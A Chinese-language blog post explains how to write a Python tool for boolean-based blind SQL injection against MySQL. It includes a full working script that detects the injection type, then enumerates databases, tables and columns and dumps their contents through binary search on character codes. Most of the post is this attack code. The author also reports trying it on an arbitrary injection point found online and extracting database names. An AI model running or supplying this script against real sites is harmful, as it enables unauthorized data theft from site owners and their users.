C1imber's Blog

python编程实现自动化注入之布尔盲注

字数统计: 2k阅读时长: 10 min
2018/06/05 Share

python编程实现自动化注入之布尔盲注

python编程实现自动化注入这个话题很有可能会写成一个系列,主要希望通过编写自动化注入工具脚本来提高自己的python代码能力和sql注入的能力,mysql数据库常见的注入分为union注入,报错注入,布尔盲注和时间盲注,这篇文章先用布尔盲注工具的编写来开个头~主要会用到optparse库去解析命令行参数,同时会用到二分有序查找算法去猜解数据库的每个字符,optparse库的用法和二分法的好处在之前的文章里都写的很清楚了,开始编写吧

布尔盲注

布尔盲注这种注入手法主要用于页面没有回显位置而且没有报错信息的情况下,这时可以构造逻辑判断,通过页面返回的不同去判断逻辑的真假从而猜取数据库的字符

所以可以通过python脚本循环猜解出数据库中的内容,二分法猜解字符会比一次次循环累加要快很多,主要的思路就是先用requests请求一个正常的页面,当然这个页面是存在sql注入的,然后通过requests请求加上单双引号的url所返回的页面,通过和正常页面对比来判断为数字型注入还是字符型注入,判断的方法

url参数后加单引号与双引号均报错,则为数字型注入
url参数后加单引号报错双引号不报错,为字符型注入且参数外为单引号
url参数后加单引号不报错双引号报错,为字符型注入且参数外为双引号

接着就是根据页面的不同判断数据库的个数和每个数据库名的长度,然后通过二分法指定范围(0-126)判断出来每个数据库的名字,然后采取相同的方法判断出来指定数据库下的表名,指定数据库表名下的字段名以及数据库里的数据

为了更方便的理解使用,我用python写了一个盲注二分法算法模型

模型1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def binary_search(num):
low=0
high=126
while low<=high:
print "search zone:(%d-%d)"%(low,high)
mid=(low+high)/2
if mid<num:
low=mid+1
else:
high=mid-1
return (low+high+1)/2
num=input("please input a number(1~126):")
result=binary_search(num)
print result

mark

模型2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def binary_search(num):
low=0
high=126
while low<=high:
print "search zone:(%d-%d)"%(low,high)
mid=(low+high)/2
if mid>num:
high=mid-1
else:
low=mid+1
return (low+high-1)/2
num=input("please input a number(1~126):")
result=binary_search(num)
print result

mark
有了模型,有相当于有了一个轮子,通过模型可以更容易地编写出自己的盲注脚本,贴出我编写的盲注脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
#coding=utf-8
import requests
import sys
from optparse import OptionParser
def getdbnum(url,basehtml):
num=0
while 1:
payload="%s and (select count(*) from information_schema.schemata)=%s-- "%(url,str(num))
#print payload
html=requests.get(url=payload).content
#print html
if html==basehtml:
return num
else:
num=num+1
def getdbs(url,basehtml,num):
for n in range(num):
length=0
while 1:
payload="%s and (select length(schema_name) from information_schema.schemata limit %s,1)=%s-- "%(url,str(n),str(length))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
s=""
#print length
for c in range(1,length+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select schema_name from information_schema.schemata limit %s,1),%s,1))>%s-- "%(url,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
break
else:
length=length+1
def gettablenum(url,basehtml,dbname):
num=0
while 1:
payload="%s and (select count(*) from information_schema.tables where table_schema=0x%s)=%s-- "%(url,dbname.encode("hex"),str(num))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
return num
else:
num=num+1
def gettables(url,basehtml,num,dbname):
for n in range(num):
length=0
while 1:
payload="%s and (select length(table_name) from information_schema.tables where table_schema=0x%s limit %s,1)=%s-- "%(url,dbname.encode("hex"),str(n),str(length))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
#print length
s=""
for c in range(1,length+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select table_name from information_schema.tables where table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
break
else:
length=length+1
def getcolumnnum(url,basehtml,tablename,dbname):
num=0
while 1:
payload="%s and (select count(*) from information_schema.columns where table_name=0x%s and table_schema=0x%s)=%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(num))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
return num
else:
num=num+1
def getcolumns(url,basehtml,num,tablename,dbname):
for n in range(num):
length=0
while 1:
payload="%s and (select length(column_name) from information_schema.columns where table_name=0x%s and table_schema=0x%s limit %s,1)=%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(n),str(length))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
#print length
s=""
for c in range(1,length+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select column_name from information_schema.columns where table_name=0x%s and table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
break
else:
length=length+1
def getdatanum(url,basehtml,tablename,dbname):
num=0
while 1:
payload="%s and (select count(*) from %s.%s)=%s-- "%(url,dbname,tablename,str(num))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
return num
else:
num=num+1
def dumpdatas(url,basehtml,num,columnname,tablename,dbname):
for n in range(num):
length=0
while 1:
payload="%s and (select length(%s) from %s.%s limit %s,1)=%s-- "%(url,columnname,dbname,tablename,str(n),str(length))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
#print length
s=""
for c in range(1,length+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select %s from %s.%s limit %s,1),%s,1))>%s-- "%(url,columnname,dbname,tablename,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
break
else:
length=length+1
def testurl(url,basehtml):
url1="%s'"%(url)
url2='%s"'%(url)
html1=requests.get(url1).content
html2=requests.get(url2).content
if basehtml!=html1 and basehtml!=html2:
#print "this url maybe injectable,type numeric"
return url
elif basehtml!=html1 and basehtml==html2:
#print "this url maybe injectable,type string(\")"
return url1
elif basehtml==html1 and basehtml!=html2:
#print "this url maybe injectable,type string(\")"
return url2
else:
return False
def main():
parser=OptionParser()
parser.add_option("-u",type="string",dest="url",help="-u url")
parser.add_option("-C",type="string",dest="column",help="-C column1,column2,...,...")
parser.add_option("-T",type="string",dest="table",help="-T table")
parser.add_option("-D",type="string",dest="db",help="-D dadabase")
parser.add_option("--dbs",action="store_true",dest="dbs",help="inject all databases")
parser.add_option("--dump",action="store_true",dest="dump",help="dump columns with selected table and database")
parser.add_option("--tables",action="store_true",dest="tables",help="inject all tables in selected database")
parser.add_option("--columns",action="store_true",dest="columns",help="inject all columns in selected table and database")
(options,args)=parser.parse_args()
if options.url and len(sys.argv)==3:
url=options.url
basehtml=requests.get(url=url).content
result=testurl(url,basehtml)
if result:
print "this url maybe injectable"
else:
print "this url maybe notinjectable"
elif options.url and options.dbs:#--dbs
url=options.url
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdbnum(url,basehtml)
getdbs(url,basehtml,num)
elif options.url and options.tables and options.db:#-u url --tables -D database
url=options.url
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=gettablenum(url,basehtml,db)
gettables(url,basehtml,num,db)
elif options.url and options.columns and options.table and options.db:#-u url --columns -T table -D database
url=options.url
table=options.table
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getcolumnnum(url,basehtml,table,db)
getcolumns(url,basehtml,num,table,db)
elif options.url and options.dump and options.column and options.table and options.db:#-u url --dump -C column -T table -D database
url=options.url
column=options.column
table=options.table
db=options.db
columns=column.split(",")
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdatanum(url,basehtml,table,db)
for column in columns:
dumpdatas(url,basehtml,num,column,table,db)
else:
#print "Please look this script help information,to use --help or -h"
parser.print_help()
if __name__=='__main__':
main()

使用方法,自己使用optparse库将脚本参数设置成了类似于sqlmap的参数,下面是该脚本使用方法
mark
随便测试网上一个注入点来测试写的工具是否可以使用,可以看到成功注入出来了数据库,当然经过测试也能注入出表字段和数据库内容,这个工具只是初步完成了,当然还有很多的不足,这些都需要自己不断的去完善
mark

CATALOG
  1. 1. python编程实现自动化注入之布尔盲注
    1. 1.0.1. 布尔盲注